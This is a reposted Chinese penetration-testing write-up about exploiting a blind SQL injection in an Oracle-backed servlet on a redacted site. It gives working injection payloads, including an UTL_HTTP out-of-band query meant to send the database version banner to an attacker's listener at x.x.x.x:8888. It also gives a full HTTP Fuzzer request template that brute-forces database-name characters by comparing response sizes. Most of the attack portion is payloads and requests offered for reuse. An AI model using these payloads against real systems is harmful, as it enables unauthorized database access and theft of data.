利用HTTP Fuzzer辅助手工盲注脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    Author:j0k3m00n

    T00LS.NeT

    某天做渗透测试时遇到的,记录下来分享下,感谢导师yw的指导,

利用HTTP Fuzzer辅助手工盲注脚本安全

。基哥们勿喷!

    app扫到一inj如下

    http://www.xxx.com/Servrlet?image=8798

    打开后就一幅图,有点像ISCC2011脚本关的最后一题。不同之处在于那个需要验证referer且还有数据回显的地方,这个没有。

   

    用Pangolin webcuriser havij MarathonTool 这些都注不出来,提示无法定义关键字或不是注入点。

    手工验证一下,这个看似integer型的注入其实是string的。

    ' and '1'='1

    回显正确

    ' and '1'='s

    回显空白

    ‘and (select count(*) from dual)>0—正常 oracle的库

    因为没有数据返回的地方,所以union不行,试用UTL_HTTP存储过程来反弹注入一下。

    本机 nc –vvpl 8888

    Inj

    ‘ and (select count(*) from all_objects where object_name=’UTL_HTTP’)>0—

    正常,HTL_HTTP存在。继续。

    Inj

    ‘ and UTL_HTTP.request(‘http://x.x.x.x:8888/’||(select banner fromsys.v_$version where rownum=1))>0—

    回显空白,看了下nc任何数据也没收到,估计又是服务器禁止了外连。

    好吧,反弹注入是不行的了,看来就只有慢慢盲注了,但这个如果就这样手工慢慢提交下去的话,是个重口的体力活。用HTTP Fuzzer来构造一下。

    先用Live HTTP Header随便抓了个GET的包,用来构建Fuzzer里的包。

    Oracle的盲注语句这里就不多说了。

    判断当前库名

    ‘ and (select ascii(substr(sys.database_name,1,1))from dual where rownum=1)>50—

    Inj处执行后,回显正常,

电脑资料

利用HTTP Fuzzer辅助手工盲注脚本安全》(https://www.unjs.com)。好,现在来构造下HTTPFuzzer的包

    GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1

    Accept: */*

    Accept-Language: zh-cn

    UA-CPU: x86

    Accept-Encoding: gzip, deflate

    User-Agent: Mozilla/4.0 (compatible; MSIE7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; .NET4.0C; .NET4.0E)

    Host: www.xxx.com

    Connection: Keep-Alive

    Pragma: no-cache

   

    这里要注意几点:

    ${Gen_1}为数字型的Generator,范围从60到120(范围自定义)。

    ${Gen_1}前面用等号,而不用>或<,这样来得更直接。

    GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1

    这一句在HTTP Fuzzer里必须在同一行,否则会出错。

    遇到空格,单引号这些必须要编码,否则会错处。

    因为该inj为一张图片,注入语句错误的话回显的是空白,不返回任何数据,意味着利用这点我们不用定义Fuzzer Filters直接观察返回数据包的大小就可以很快找到正确的ascii码。点击start开始。

   

    可以看到,Response size一栏,其他的都是0b,只有Gen_1=71的时候有数据。说明当前数据库名的第一个字母的ascii码值为71。

    手工验证如下:

   

    图片回显正常。71正确。

    Ok 成功,大大加快了手工盲注的速度。依次改变substr(xxx,1,1)来获得其他数据。后面过程毫无亮点,就恕不多说了。

    Ps:像什么延时注入,破解表单等很多事情其实HTTPFuzzer都可以完成,这个就留给大家发散吧。

最新文章